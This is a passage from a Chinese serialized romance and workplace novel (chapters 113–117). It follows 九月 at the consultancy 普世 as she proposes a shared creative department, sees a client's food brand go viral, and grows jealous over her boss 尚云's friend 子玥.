书瑶假装不经意地问道,“那九月是你喜欢的类型吗?”昨晚朱明接到电话,紧张而急促。刚巧她昨晚留下来陪他加班,便一同前往九月所在的医院。当朱明看见九月时,眼里的专注和温柔,完全不像医生看病人的样子。 她以为朱明眼里只有工作,永远清心寡欲、波澜不惊。但昨夜,她看到他眼中有烟火闪动。 此时,朱明顿时沉默了。“吃饱就走吧。” 书瑶习惯性地鼓鼓腮帮子,心中确定了一些猜测。 她可不会轻易撤兵,“乐天派教主”的称号不是白来的。 朱明回到办公室之后,他给九月回了个电话。九月正在吃饭,中气不足,但听语气倒是很清醒,“朱明哥,今天特别忙吧?” “对,上午有个病人,情况有点严重,就给他采用物理治疗。耗时比较久。听说你出院了。”朱明道。 “九月,你昨晚发生什么事了?”她的病情已经基本稳定,如果没有大的刺激,是不会有昨晚那样的状况。 九月放下筷子,眼眶泛红,说道:“我父母的死是人为的。” 朱明惊讶地说不出话来,好半天才找到声音,“那你准备报警翻案吗?” 许久,九月摇摇头,意识到朱明看不到自己,才又道,“事情过去已经十多年,凶手也不在人世了,又牵扯到复杂的情况,那些陈芝麻烂谷子,不想再翻出来弄得生活乌烟瘴气。” 朱明苦笑,“生活真的会磨平人的棱角,换作以前,你早就闹翻天了。” “牵扯太多,总有取舍。”想到莫诚和小竺,九月咽下诸多苦涩,她终归做不到无情无义。 朱明沉吟道:“九月,你我都清楚,你心里埋着不定时炸弹,满足条件就会炸,何不将它挖出来。埋在心里总是会痛苦、会发作的。无论作为朋友还是你的心理医生,都希望你能直面这一点。” 九月:“......” “我们约个时间,好好聊聊,你相信我,我能治愈你。” “不了,我现在很正常,这样就可以了。” “如果昨晚那样的情况再出现呢?如果昨晚你身边恰好没有熟悉的人呢?”朱明急道。 “朱明哥,让我先想想。”九月作出让步,也是想结束话题。 朱明知道她不想面对那些,也可能不希望他知道,“九月,我圈子里也有其他优秀的心理医生,你想好了,我可以介绍给你。” “到时再说。”她匆匆结束通话。 昨夜九月对莫诚很抵触,他付完费用,见到文菌出现在病房后就离开了,直到现在也没出现。 小竺给她打过电话,她似乎知道情况了,两人之间突然变得陌生而尴尬起来,说了一些不痛不痒的话,就结束通话。 早上护士拿进来一个果篮和一束花,说是一个漂亮姑娘送来的。据特征描述,应该是小竺。 她曾经苦苦想追寻的真相,现在水落石出,然而,九月没觉得有多欣慰,反而心底沉重了几分。 她心里还埋着迷团,关于尚云说,是他连累了慕家。那尚云身上又有哪些事是她不曾知道的?尚云一直不动声色的阻拦、提醒她,不要陷入无缘无故的友情与爱情,说明他早就知情。 尚云不是莫诚,做事滴水不漏,防得水泄不通。如果他不愿意告诉她,她无从知道。 莫诚当初为何会进入普世,莫诚跟尚云之间有什么故事? 要解开这个谜,还是要找机会跟莫诚见上一面。 想着这些,她已经盥洗一新,画上浓淡相宜的妆容,去了公司。 联系乔队时,乔队正准备带人去南总公司作初步诊断,九月听说后要随行。 乔队欣然应允。 通过上次九月留给南总的好印象,这次去南总公司畅通无阻,配合度也很高。九月也真的只是一个随行者,把表现的机会留给蓝鲸团队。 分队的执行队长发现公司一些好习气,向南总提议道,“南总,公司的核心文化三项已经建全,都是依照你心中的理想样子去设计。但我在公司发现有一些好习惯,也可以进行提炼,比如公司一直践行的方针,一直倡导的东西,我们都能提炼出来。” “这些隐性文化都是正面的,对公司来说是好文化,如果不重视就会消失殆尽。因为现在已经有的人在做,而有的人已经没有行动了。” 南总呵呵笑道,“我相信你,只要有助于公司,你们大胆去变革。” 九月眉头皱了皱,当时也没说话。 乔队站在侧边,九月的反应他看得一清二楚。私下里便问起九月,“满以为你过来会亲自去跟尚总讲解问题点,因为你的诊断水平大家都有目共睹,但今天却作为一个跟随者角色,这是为何呢?” 九月便道,“我并不是不相信蓝鲸团队的能力才跟来的。而是考虑到,如果业务成交人就消失,难免给人留下势利印象。我个人名誉事小,客户对公司的整体印象才最重要。 我谈下来的合同,客户的信任还停留在我身上,注意力自然还在我身上。何况南总本身就是一个注重细节凡事慎重的人,就得让他看到我一直在跟进,把他公司放在心上,他才放心,这也利于你们后面实施、推进方案。” 乔队没想到九月做事考虑这么全面,心道,以前确实是先入为主,看轻了她。他笑道:“还是九月考虑周全。” “对了乔队,刚才听执行队长跟南总的对话,我有一个小提议。南总是一个很有定见的人,但是我们在专业角度,不能一昧的服从客户,这不是好的服务。 必须要摸清楚南总以前设计的核心文化跟他们公司如今定位,要重新评估,如果文化和战略不相匹配,即使文化做得成功,也对公司发展起不了多大作用。以后蓝鲸跟他们打交道比较多,这点你们提出来,举例说明利弊,南总可能会更加相信团队的实力。” “刚才看你表情,就知道你肯定有想法。不过你这个提议确实好,后续在实践培训中,我会强调这一点。九月,你身上确实有值得我学习的地方,以前若是言辞不当,你多担待。”乔队说。 “大家刚组成一个新团队,需要磨合,我也有不足的地方,以后互补。” “你这番话跟昨晚木信总助那番话如出一辙。看来英雄所见略同。” 第一百一十三章 创立文创信息部 “木信?你们昨晚在一起吗?” “对,还有老甘和老厉,我们在一起喝酒。木信说你和我们是一个整体,互相支持,互补不足。” 九月刹时明白木信昨天找自己说的那番话,看来昨晚特意给自己疏导关系去了。心里的感激自是无法言表。 回公司后,特意去木信办公室道谢,木信看到她,立即起身说道,“九月,听说你下午一上班就跟乔队出去了,身体不要紧吧?” 九月:“没事,身体本来也没什么事。特地来向你道谢的。” 木信:“道谢?” 九月:“从乔队嘴中知道,你昨晚特地去帮我当说客。既感激又难为情。不过,还是要向你说声谢谢。” 木信:“你也不必谢我,是尚总叫我这么做的。要不然我每天忙得晕头转向,都不知道你遇到了难处。不过,以后你遇到事可以找我一起商量,别一个人死扛。” 九月一时愕然,只是点头。 “还真是有一件事,想征询下你的看法。”九月想起蓝鲸遇到的难题,恰好人资部也是木信隶属管理的部门。 “嗯,你说。” “蓝鲸现在扩充队伍,目前出现一个难题,每支团队都需要文创岗位,哪怕是兼任。但合适的人选缺口太大,人资部也给不出好的方案。 俗话说,不患寡而患不均,有的文创人员闲着,有的却一个人顶着几家客户的压力。如果将所有团队的文创岗位提取出来,专门设立一个中心组,按需求分配任务。资源得以平分,人资压力也解除大半,公司还节省了人工成本。 我在蓝鲸内部会议上也提出过这个建议,甘队和厉队则考虑到文创岗位要随团队去客户现场捕获信息,以便写出更深入的企业故事。我想了想,他们的考虑也有道理,所以专门去请教了文菌,她在创作上比较有经验。 文菌的意思是让文创工作者像记者一样,可以根据需求去客户那边收集信息或者采访,根据团队给的文化定位收集所需素材,之后便不必紧跟团队出外勤,只需创作时跟客户和蓝鲸团队加强沟通就行了。 如果这样可行,那我们只需在现有的文创人员基础上进行职业素养升级培训,提高效率与创作悟性,淘汰不适合的人去其他岗位。不仅满足现有团队,甚至扩大规模都不需要再招聘大量的文创岗位人员了。你觉得如何?” 木信深琐眉心,认真思考这个问题,良久才点头道,“不失为一个好办法。这个问题其实一直存在,以前我在带蓝鲸团队的时候就头疼,尚总后来提出就地取材,培训稍有资质的人兼任这个岗位。你这个方法挺好的,既能筛选真正优质的文创人才,又能节约人工成本,还不会造成资源空闲。 唯独担心这可能会动荡公司的组织结构这一块,要问问尚总的意思。这样吧,你将这个想法做成方案,尚总明天回来,到时会召开管理会议,大家再进行商讨。” 九月被认可,立即回应道,“没问题。” 晚上六点多,关之洁临走跟她打招呼,“九月,你身体不舒服,早点回去休息。” “我没事,这个方案明天就要用,我做好就走。” “那我先走了。再见。” 木信知道九月就住在公司公寓,因此也在七点多打了招呼便走了。他一向就讲求效率,尽量不将工作拖到晚上。 做完方案后,看看时间,九点不到。 发完邮件,又将纸质档的方案打印出一份,取方案时看到一个人影从前台走了过来。她寒毛都竖了起来。 想着只是拿下打印资料,她也没开灯,总经办那条通道折射过来的光线,多多少少还是看得清轮廊。 那人似乎也发现了她,驻足想看清她是谁。 她摸摸口袋,手机放在办公室没带出来。她大着胆子问道,“你是谁?” “九月,这么晚还在公司。”熟悉又清冷的声音传来,“打印室怎么不开灯。” “尚总。”九月吁了一口气,“我拿了打印资料就走,为了节能环保,就不开灯了。” 两人朝总经办走去,尚云侧头看了看她手上拿的方案,“特意加班打印什么?” 九月便把方案递给他,“对文创岗位的一个设想。下午跟木信商量了下,最后决定做成方案,明天开会讨论,征求你的同意。今晚做出来,明上午就不用那么赶。” 尚云拿着方案回办公室了,九月不知道要不要跟过去,便在门外停住脚步。 “你早点回去休息,不要逞强。”他回头道,脸庞清瘦了不少,更加显得冷峻坚毅。 “谢谢尚总。那我先走了。”她说道,不太愿意谈论昨晚的事,心里希望他也能忘记那种状态下自己的形象,将“你也早点休息”吞了回去,匆匆返回办公室。 收拾好东西走到门口时,发现他也走到门口,递过来一盒东西,“睡之前点上,纯草本安神助眠的。” 她接过来,又听到他说了句:“晚上别想太多。” 说完就进去了。 知晓了父母的死因,她一定会彻夜未眠。昨晚的情况,文菌已经都告诉他了。 时间日复一日,转眼即到了年底。 雷默集团以及克普在这几个月以来消声匿迹了,这让普世集团得已喘息。 尚云也连续几个月都往返南北两个城市之间。 宋氏集团现在焕然一新,尚云最初的设想也在一步步实际,推进。 肖宏的剧本创作在尚云接二连三的退回来之后,向九月诉苦。九月在安慰他之余,便提出自己的思路,让他不用刻意去写价值观,太刻板。而是将价值观融入到人物角色的立意和情节,以及和他人的互动台词上侧面展现出来,更加灵活。 肖宏经九月一指点,果然第一集的剧本就通过了。之后像是找到了发力点,文风自成一格,激发出源源不断的灵感。 剧作找一些稍有表演资质的科班应届毕业生过来演绎,也算是给他们创造就业经验和出镜机会,双方一拍即合。 没想到小视频连续剧很受欢迎,经由金仕集团的传媒业务推广传播,广受欢迎。 第一百一十四章 宋氏食品爆红 电视台的主持人也在竞相播报这一火热情况:“......当视频短剧再次呈现出这家企业的历史和为人民做过的贡献,特别是在炮火硝烟中为了维护民族中非常重要的两个人物,将他们藏在产品箱中冒死运输出城躲过追捕的过程和勇气,大家都感动了。 特殊的年代为振兴中华做出贡献,在那个年代不值一提。但正是很多个这样的先辈不顾自己的生死扞卫祖国、为了祖国的未来和自己的后代能过上好日子牺牲自我,才有如今我们和平安稳的生活。 知晓了这家企业的故事和坚持,以及这家企业曾经贯彻的文化“助力国家崛起,为民生作贡献”,被人称为民族之光,大家疯狂支持这家企业再次说明民族的力量,文化的力量,传承的力量。 吃着产品都会联想到幸福来之不易,勿忘历史和先辈们替我们经历的痛苦,从而给社会正面引导引起强烈共鸣。受惠于社会,人人都希望自己做一个对社会有贡献的人。 这是一种激励,也是一种传承,追求信仰的坚定信念。” 这部以宋氏民国时期的企业因此就一夜之间红遍大江南北,以最少的成本、资源和时间,顺利塑造出品牌Ip和文化故事Ip。 宋氏食品的企业文化故事人尽皆知,冲着这感人的故事和值得反复嚼咀的剧情,消费者疯抢。而年轻一代以前从未关注过这个品牌,在品尝过宋氏食品的零食后,好评如潮。各种花式夸赞,无非是“故事如何感人,食品如何优质,凭实力出圈”。 广告再好,也不如口碑好。所以,国民全员都在为宋氏打call,不红没有天理。 各种服装、流行词和零食,无不衍生于宋氏食品。 线上Ip引流带动线下销售,很多零售品牌合作函接踵而至。线上与线下相结合,互相引流,形成良性闭环,雪球越滚越大,一切都水到渠成。 尚云亲自现场跟进,又是线上主导,观察反响,随时调整策略,辛苦不言而喻。他自己创业时都没有如此艰辛与费心,但他甘之如饴,成果也是显而易见的。 在年底来临之前,宋氏食品再次迎来了旺季,车间热血沸腾,灯火通明,所有员工都开始加班加点,人手不够,将之前无奈裁撤的人员召唤回来。 戴老先生拄着拐仗,热泪盈眶。这样的盛况,已经久违,以为永远不会再见到了。 尚云完成项目,准备撤离。在临别时最后一次会议上,听了大家的报告,他不禁感慨地说,“这几个月以来所做的这些努力,都是‘术’层面上的。但是宋氏食品自创业以来,就遵循‘道’之本。所以,能有今天不是偶然,如果没有根深蒂固的‘道’存在,‘术’再厉害也是立不住脚的。 公司的文化就是“道”,在生产品质上,经营理念上,要坚持如一,不可因为外界的吹捧而膨胀忘形。 现在,轮船再度起航,全中国都在支持我们,帮助我们,大家肩上有重任,不能也不允许一家好企业陨落,在座各位人人有责。这段时间感谢大家的信任,感恩戴老先生敢于将如此重任放在我的肩膀上。现在,我的工作已经接近尾声,明天就要退出舞台,到了大家登上舞台的时候了。” 全员潸然泪下,全体不禁纷纷起立鼓掌。 尚云在宋氏做出的成绩,不仅仅是救活了一家企业,也让将近一千个家庭再次有了生活保障,大家怎能不感激。 尚云离开后,宋氏食品红极一时,期间令业界侧目。媒体也不会放过挖掘真相的机会。留了大版幅的采访空间,揭开宋氏食品如何从谷底一路疾速攀升达到顶峰的秘密。 背后神秘掌舵人物居然是普世文化的创始人尚云。 不收取一份利益,隐藏了身份。纯粹为助力戴老先生与宋氏食品,一家颇有历史渊源的百年民族企业。 记者动情记录,社会上对于宋氏食品公司的陨落,有的持隔岸观火态度,有的持惋惜感叹态度,唯有他隐去光辉甘愿为一家与己不相干的企业跑前忙后,不惜动用自己的资源扶助这家看似垂危的企业,完成使命后悄悄退场。 可想而知,普世公司的再度迎来高光,再加上平日里积累的好口碑,普世文化的业务前景盛极一时,无人能及。 于是,在年底那段时间,各大商会邀约不断,各种商媒给冠以各种荣誉头衔在他头上。 尚云是个干实事的人,对这一类的事物能推就推,不能推的也尽量低调分享。 很多商媒刊登大量他的语录。 如:“坚持向客户输出自己的优质服务,所以普世文化遵循客户没想到,我们先做到;客户想到的,我们要做到倾向完美;向社会输出正面价值。”——普世文化创始人尚云 如:“好的文化不仅能改变人的工作态度和结果,还能改变生活态度和因果。真正深入人心,一定能让人的思维产生变化,由内而外各方面一起变得越来越好。企业文化影响员工,员工再影响家人、后代,范围日益扩大。所以说,一家有优秀文化的企业能改变世界真的一点都不夸张。”——普世文化创始人尚云 如:“不做危害社会、阻碍行业发展的决策;向员工输出值得学习的好榜样,自己的一举一动都在每位员工的监督下,必须恪守职责,在‘船长’位置站好自己的岗,照顾好每一位员工及其家人,做一个正确方向的领跑者。”——普世文化创始人尚云 各界都开始相信,普世文化的存在,给这个世界以及商业领域,多了一线澄明。 九月将报纸上关于报道仔细剪下来,看着他坐在众人之间英气勃发的身姿,目光久久无法移开。 嘴角微微上勾,将剪下来的照片收集到一本笔记中夹好。 九月提出关于提取文创岗位统一设立蓝鲸共享概念的设想,在管理会议顺利通过。尚云特地在年底找她谈话。 “你有没有更好的管理共享部门的人选?” “文菌,她可以试试。”九月毫不犹豫地道。 尚云没有说话,像是等待她拿出合理的理由。 “我可没有私心,没错,文菌跟我关系好,但我举贤不避亲。一是在企业故事与媒体传播上她比较权威,第二她有做领导的特质,凡事都能站在高处俯堪,头脑清醒,不会轻易受干扰。 第一百一十五章 九月看到尚云练功 文创部门本身要供应三个蓝鲸总团需求,牵涉到几百个团队。没有足够的思维高度,只怕斡旋不来,到时光是处理这里面的牵牵绊绊都得绕晕,文菌的性格不会,她总是能在纷扰之中找到最冷静清醒的那一条思路。” 尚云仍是不说话,神情倒是变得柔和不少。 九月继续道:“从职业规划来说,文菌目前的岗位确实没有上升空间了。如果要晋升到其他管理岗位,公司反而失去了最有价值的传媒人才。 把她放在这个独立部门,即可以统领专业领域,其他人也服气;同时做着她最感兴趣最擅长的传媒工作,两全齐美,当然,我只是建议,最后还是尚总亲自考量定夺。” “既然你分析得条条是道,那就按你说的办吧。”尚云笑了,但笑容转瞬即逝。九月几疑自己看花了眼。 这半年来,九月成长很快,早已今非昔比。他也认为文菌是最好的人选,特意问她,不过是考量她任用人才的本领罢了。 走出总经理室之后,刚到了自己办公室,他接到乔队的电话,“九月,南总公司尾牙会,特别邀请尚总和你作为嘉宾去参加。刚才给你拿过去,关之洁说尚总跟你在谈事情,所以将邀请函放在你桌上了。” “那我看看。”虽然公司如今早已驰名,但被客户如此珍视善待,总归是一件值得骄傲的事。 乔队声音里带着喜悦,“这南总来南方十多年,但身上还是有北方人的特点。他一旦认可你,真是掏心掏肺的真诚。你知道吗,他说这次还邀请了当时一起组团学习企业文化的商界朋友,到时工作人员会盛情介绍普世公司,他特意叮嘱要代表公司上台讲两句,相当于在会上企业家面前露面打了广告。” 实则,南总公司正在发生翻天覆地的变化,那些企业朋友看得到,只要他们出现在现场,也会索要名片合作的。 没想到,尚云表示,“南总公司送过来的邀请函上的日期,正好也是公司举办年会的日期。让乔队代替我去吧。” 其实公司年会的酒店菜谱都订了,但时间并未定下来。 按公司规定,蓝鲸团队服务的客户转介绍的客户,则还是属于该团队。但是,尚云去参会,那些人则会直接联系他,客户则属于公司,资源重新分配,情况则会发生变化。 因此,他建议乔队代替他去,顺理成章拿下这几个客户。 这一点也是考虑到九月的未来。九月为南总公司煞费心血,才获得南总的信任和认可。如果经此一战,乔队旗下收获甚丰,一定会感恩于九月。留了这个情面,九月明年登上管理之路则多了一个拥护者。 九月哪能想到这一点,便转达尚云的意思,让乔队到时候代替尚总出席。 乔队很意外,自然高兴地答应下来。 尚云当即则打电话通知人资部何艳,年会日期就定在这一日,与南总公司尾牙会同期。 普世文化如今欣欣向荣,气势如虹。 外界看到的繁华,亲身体验过才知道其中的艰辛和五味杂陈,怎一个苦或乐字可形容。 普世公司的每一个人,都付出了血汗,正如木信元旦前夕发在群里的那句话,“熬过黎明前的黑暗,就能迎来光明。最艰难的路已经在身后,很庆幸一路有你们。元旦快乐!” 南国城市从未下雪,但这几年有变冷的趋势。 少了小竺和莫诚的邀约,九月今年的节假日有些冷寂。 文菌离家近,一到节假日便返家了。也曾想携带九月回去,九月便说,“莫慌莫慌,等我整成金城武的模样再说。” 以插诨打科的方式拒绝了。 孤家寡人宅在家,九月窝在沙发上刷购物网站,看到一套很漂亮的宠物衣服,九月想着这颜色跟洋洋的“别墅”很搭,立即加入购物车。忽然想起洋洋已经失踪好几个月了,她抬起头,望向阳台,心中沉闷无比。 手机有信息提示,不用打开,便看到内容。那是莫诚发来的:“元旦快乐。” 她关掉屏幕,去厨房研究一道新菜式。 昨天买的李子酸得她直打颤,吃是不可能吃了,扔了也怪可惜。 想起网上流传甚广的奇葩菜式,便也打算试上一试。 把李子洗净,又擦干手,反回客厅拿起沙发上的手机,发给莫诚一个元旦祝福的表情包,算是回应。 这种时候,九月总是感激这些脑洞大开的表情包制作人。若世上没有表情包,世人在信息沟通时代,真可能真会面临许多进退不宜的尴尬时刻。 给酸李一个个改上花刀,烈火烹油,将辣椒蒜等等炒香,再将酸李一股脑倒进去,“滋啦”一声又是一顿翻炒。酒上青葱。出锅。 “卖相可以呀。”美滋滋的夸赞一番,捻了一颗咬了一口,酸到五官都挤一块去了。 九月倒上一杯水咕咚喝了大口,端着盘子跟“红椒炒青李”合影,发了朋友圈。配文写道:“生活就是一盘红椒炒青李,色香诱人,味道如何,尝过方知——致敬无聊的元旦。” 朱明立即评论区,“要不,来安源过元旦。我爸妈刚刚还问我。” 文菌则说,“很有创意,将“无聊”翻炒成千般滋味了。” 已经被誉为普世故事王的肖宏则道,“演唱会感不感兴趣?一起啊,四点钟来接你。” 还有一些同事和客户,点赞评论,热闹非凡。 九月还来不及回复,尚云的电话便打了过来。 “九月,你现在有空?” “有空。”九月抿嘴笑道。 “我办公室书架上有一本白皮硬壳书,你帮忙取了送过来。” “你在滨香苑吗。” “对。” 九月起身便欲出门,走到门口打量了下身上的衣服,又倒头回去快速换了套时尚的长冬裙,罩上厚实的呢子大衣,搭配黑色短靴。 脸上画了个裸妆,自己看着满意了,这才匆匆出门。 总经理室的钥匙她们办公室也留了一把,开门进去很容易便找到了白皮硬壳书,上面全是英文,她发图片给他确认,得到肯定答复后,拿了书打车去了滨香苑。 岑姨给九月开的门,“尚总让我送一本书过来。” “尚先生在三楼,你上去吧。” 九月轻轻推开三楼的门走进去,发现这是一个打通的整体空间。空间划分成两个区域,东区空旷,但从房顶垂下无数半米长的铁链,西区则放置了很多健身器材,种类健全堪比健康馆。 此时尚云就吊在东区垂下来的铁链上,稍一借力跃至相隔两米多远的另一段铁链,动作之快,一会就将铁链轮了一遍。 在最后一段铁链上刚落地,脚尖便在武器架子底轻巧一抬,一把锋利的长剑嗖地跳了出来,尚云伸手接过,一套剑法如行动流水,九月远距离站在门口那儿,也觉头发被劲风吹动,耳边呼呼作响。 九月早就知道尚云有武功底子,在父母车祸去世,伤亡家属上家里闹事那天,就是尚云三两下放倒那批疯狂的家属。 第一百一十六章 半缘修道半缘君 上次在夜市教训那批年轻混子,他也不过用了几个橙子。 真正见识到他如此出神入化的功力,她还是膛目结舌,特别是尚云跃上铁链,另一只手仍然可攻可守的将剑术挥酒自如。 身形变幻,并不断跃飞,寻找新的方位,仿佛有无形的人正在跟他较量。从这边跃至另一端,看了几个回合,手上的书不自觉就滑落在地。 听到叭哒声响,尚云便将剑朝后一扔,准确无误落进武器架子里,他跳下来,气息未稳地望着九月,“来了?” 九月捡起书,“见你在练功,我就没敢叫你。” 尚云拿了一块毛巾,擦掉脸上的汗珠,“吃饭了吗?” “吃了。”她撒谎道。 “吃了那盘李子?”他走到她身前,似笑非笑看着她。 九月抿唇浅笑,她以为他不关注朋友圈的,像他这样日理万机的大忙人。 他穿着白色薄衫,衣服被汗水浸透,紧贴肌肤,身上的肌健轮廓若隐若现,九月看了一眼,不自在的低眉垂目。 拿过她手上的书,“走吧。”他率先下楼。 “尚总,书已经送到我就先回去了。”九月跟在后面说。 “一会还有事找你,先去吃饭吧,我洗了澡带你去个地方。”尚云说,走到二楼时,头也不回去了自己房间。 九月便听到岑姨在楼下叫她,“九月,菜已经做好了,来吃饭吧。”上次九月让她直呼九月就行,别叫慕小姐。 九月应声而下,“我等等尚总吧。” “尚总吃过了,专程让我给你准备的。”岑姨笑得很亲切。 九月吃的不多,看到尚云已经穿戴整齐地出现在楼梯口。他的品味倒是跟自己的很搭,外套也是一件青灰色呢子大衣,黑色短靴。 占了长相的便宜,随便一穿搭便是帅气型男。 她眼睛亮晶晶的瞅着他,九月不是花痴类型的人,相反有些高冷淡漠,但她对尚云的魅力真是一点抵抗力都没有。 尚云见她吃好了,头微微一扬,示意跟他出去。 他驾车到一大片空旷的地方,风很大,她捂紧自己的大衣,茫然四顾。“尚总,我们来这荒野之地做什么?” “荒吗?”尚云卖着关子,故意不说。 “你看,离城市还有几公里路,又不通车,而且这块草地的草都没过腿肚子了,地也不平......啊。”九月一边说,一边走进草地里。一脚便踩进草从掩藏的硬泥坑里,脚生生崴了一下,尚云听到她骨骼脆响,手急眼快地扶住她。 她疼的哼哼唧唧,咬牙道:“可真是出师不利。” “那不要了。”他扶着她坐在草地上,“你先坐下。” “不要什么?” “这块地。”尚云轻描淡写,拖下她的鞋,看到她脚踝处轻微红肿。便起身朝车子后备箱走去,经常会户外活动,他的后备箱里有常备药箱。 “你要买地?投资房地产吗?”九月反应过来,惊讶不已。 “给普世员工,每人发一套房子。普世的今天,是他们的汗水铸就的。”他找了两支药过来,倒在手上搓热再捂到伤痛处。 “我自己来。”九月脸红到耳根。 “别动。”尚云没有依他,掌心抹了药擦热后再敷在伤处。 “本来找你过来参谋一下。”他说道,“有好几处,找时间我再跟木信去看看。” 九月没出声,尚云抬头,发现她盯着自己出神。四目相撞,瞬即移开视线,九月清咳几声,挪开摆在他身上的腿。 尚云倒是神色自若,问道:“还疼吗?” “好,好多了。”她自己穿上袜子,龇牙咧嘴地套上靴子。 起身时,尚云刚说“伤脚不能用力”,话音未落,就听九月一声“唉呀”,就要扑倒在地。尚云本能伸手去捞,惯性之下,她随手抓住他的外套领口,生生扑倒。 好在草从茂盛,像垫了一层柔软的绿毯,背部倒没有想像中的硌痛感。 时间静止了,风也静止了,几只惊飞的彩蛾翩翩起舞,青草气息飘散四周。 两人靠得如此近,九月的发香萦绕在尚云鼻端,她的呼吸像是一把微弱的羽扇拂在尚云的下巴上,扑闪的大眼睛清澈却暗含情愫,茫然盯着他,仿佛受惊的小白兔。 他胸口剧烈跳动,面色却强自镇定。眼看着九月中蛊一般,低下头越靠越近,他想推开,想喝停,却不由自主的任她越靠越近。 就快要碰到他的唇时,她突然清醒了一般,猛然刹住,翻身到一旁坐起身,白晳的皮肤被羞涩染成了粉红色。 尚云松了一口气,闭目三秒钟,平复了心情。坐起来像什么也没发生,将她扶起来。一把抱住朝车子副驾驶走去。 她不敢看他的脸,知道这趟短暂的出行就此结束。 尚云带她去了一趟医院,医生说扭伤并不严重,不用打石膏,但伤脚不能用力,以免加重病情。 九月一路想着刚刚发生的一切,一言不发,也没有注意路况。尚云将车停在别墅地停车室时,她才怔怔问道,“不送我回去吗?” “你的脚不方便,你一个人在宿舍我也不放心,在这里至少有岑姨照顾你。” “没那么娇气的。”九月有点无奈。 “别逞强。”他强硬地打断她,心情有些烦闷。 九月噤声。 他意识到自己语气不善,又缓了缓说:“要不是我带你出去,你也不会受伤。” 元旦三天假期,九月都在尚云家里度过的。 但自从那天从医院回来后,九月也鲜少见到他的身影。她倒也乐得自在,脚稍微能活动的时候,她便被长廊吸引,忍不住沿着长廊往花园深处走。 腾蔓覆盖攀爬在钢质玻璃上,葱葱郁郁,别有生机。 走出长廊便是花园,参差不齐的花坛里种着各种花卉。每一种花都竖着一个标示牌,上面清楚列出花的开放时间,培育注意事项等。 “好细致啊。”九月啧啧叹道。 在一个不那么明显的角落,她找到一小片月兰花,跟南月楼的月兰是一个品种。标示牌上除了月兰的信息之外,还有一首诗。 “曾经沧海难为水,除却巫山不是云。取次花丛懒回顾,半缘修道半缘君。”字体明显是尚云苍劲字体。旁边有另一种色号的笔,画上两个心,一支箭贯穿双心,署名为“子玥”。 胸口像是突然被压上巨石,一阵钝痛弥漫开来。 九月半天才缓过神,想起训练场的跑道上,那个在他身边肆无忌惮撒娇的女孩。也想起他刻意拉开距离,说着“你我之间绝无可能”的话。 想起小竺恨铁不成钢的劝她,你们错过了彼此十二年,十二年里彼此经历不一样的事,各自有不同的圈子,他是一个正常人,就算没成家立业,也很有可能开展新的恋情。只有你还傻傻的等在原地。 直到花叶突然无风摇晃,有水滴稀稀疏疏滴落在头上,她才恍然发现下雨了。 第一百一十七章 九月吃醋 岑姨边唤她边快步过来扶她,“九月,下月了,快进屋去,可别淋雨感冒了。” “我没事。”九月牵强一笑,在岑姨的搀扶下走进长廊。“这两天给你添麻烦了。” “可别说这样的话,这不就是我的工作嘛。” “岑姨可认识子玥?” 岑姨稍一思索便道:“你说的是金子玥吧,记得,挺漂亮活泼的女孩子。”那个女孩子给她留下深刻印象。 “怎么了?” “没事,随口问问。”九月黯然。岑姨知道她的全名,应该是常来这里的熟客了。 “脚还疼吗?” “不疼了,我该回去了,明天还得上班。” “要不你等尚先生回来。”不然又该失望了。 “没事,他太忙,我就不给他添乱了。”九月说。这两天早出晚归,可能也不太想跟她独处吧。 说着话,门口传来汽车的声响。两人穿过落地窗看到尚云墨车轿车和另一辆银色轿车驶进地库,墨色轿车内坐着两个人。 “看,尚先生回来得正好。”岑姨微微一笑,便去准备茶点。 尚云进来,后面跟着一个体形富态的男子和一位打扮时尚的年轻女子,都是九月见过的人,一个是金志高,一个则是她在训练场见过的女孩。 “怎么站在这里?脚好了?”尚云问。 “我......好了。正准备回去。”九月笑道。 “尚云哥,这是谁?”女孩面露敌意,故意挽着尚云胳膊。 “这是尚云妹妹。”金志高呵呵笑道,上前招呼,“九月,好久不见!” 九月牵强一笑,点点头。 “哦哦,我知道了。原来就是你呀,我叫子玥,你好呀。”金子玥面色由阴转晴,笑着伸出手来。 九月好脾气的握握她的手,“你好子玥。” 尚云说道,“都进去坐吧,别站门口了。” 岑姨准备的茶点也端进客厅。金家兄妹两跟岑姨熟络的打招呼,岑姨乐呵呵地跟他们交谈。 九月站着没动,尚云便说,“进去坐吧,外面下着雨,一会我送你。” 她显得有些固执,但声音很轻柔,说道,“不了,我打车很方便。尚总,你去忙吧。”说着朝门外走去。 尚云一把拉住她胳膊,眉心微蹙,静默几秒,说道:“我送你,你等下。” 他走过去跟金志高打招呼说先送九月回去,金志高性格大大咧咧,“没事没事,你去吧,我们又不是外人。” “快去快回啊尚云哥。”子玥不忘嘱托一声。“这小半年在xZ发生的有趣事还没说完呢。” 九月朝二人远远地挥挥手,算是告别。接过岑姨递过来的伞,跟她道别。 路上细雨蒙蒙,天很冷,路人行色匆匆,在伞下缩成一团。 车里开着暖气,尚云点开音乐,歌声似水流淌在空间里。 他那双洞悉人心的眼眸在九月脸上扫了扫,九月则做足表情管理,始终抿着唇,脸上浮着微笑。 “这两天金仕集团出了点事,我过去协助他们处理。”尚云说道,话里含着解释这两天没在家的原由。 说起来,金仕集团的事情也因普世公司而起,一直没有很好的解决,尚云趁着元旦假期终于抽出时间,琢磨出一个方案给他们。然而,这些事九月并不知情。 “事情解决了吗?”九月关心道。 听她这么问,知道她没听到重点:“解决了。这两天......” “解决了就好。”九月说道。 两人都不再说什么。 车停在公寓楼下,九月微笑着说了一声“谢谢。” 尚云总觉得九月憋着一抹道不清说不明的失望或是伤感,但面色神容却再正常不过,她有意隐藏了自己的情绪,这还是他经常耳提面命要她做到这一点。 她做到了,然而,看她这样,心里却堵的慌。 看她走去公寓,半途却突然不走了,淋着雨站在那儿。 他下车走过去,她却走向暗处,将一只猫抱在怀里。 “洋洋,洋洋,你终于回来了?”九月抚着洋洋被雨水淋湿的毛发,毛线颈饰还在,但是花边发卷,整个脏兮兮地套在脖子上,洋洋瘦骨嶙峋,原来堪好的颈饰现在显得松松垮垮。 九月强忍的泪水,如泄洪般地一涌而出,“你离开这么久,我一直在等你,从没放弃。你怎么成了这副模样......怎么舍得让我难过。” 他站在她身后不远,这些话一字不漏听进去了,顿时喉咙干涩,无语凝咽。想起阔别多年后,第一次见面,也下着雨,她手指勾着鞋子抱着猫,惊惶失措地站在他面前。 那时,他又生气又心疼,神色漠然的命令她上车。 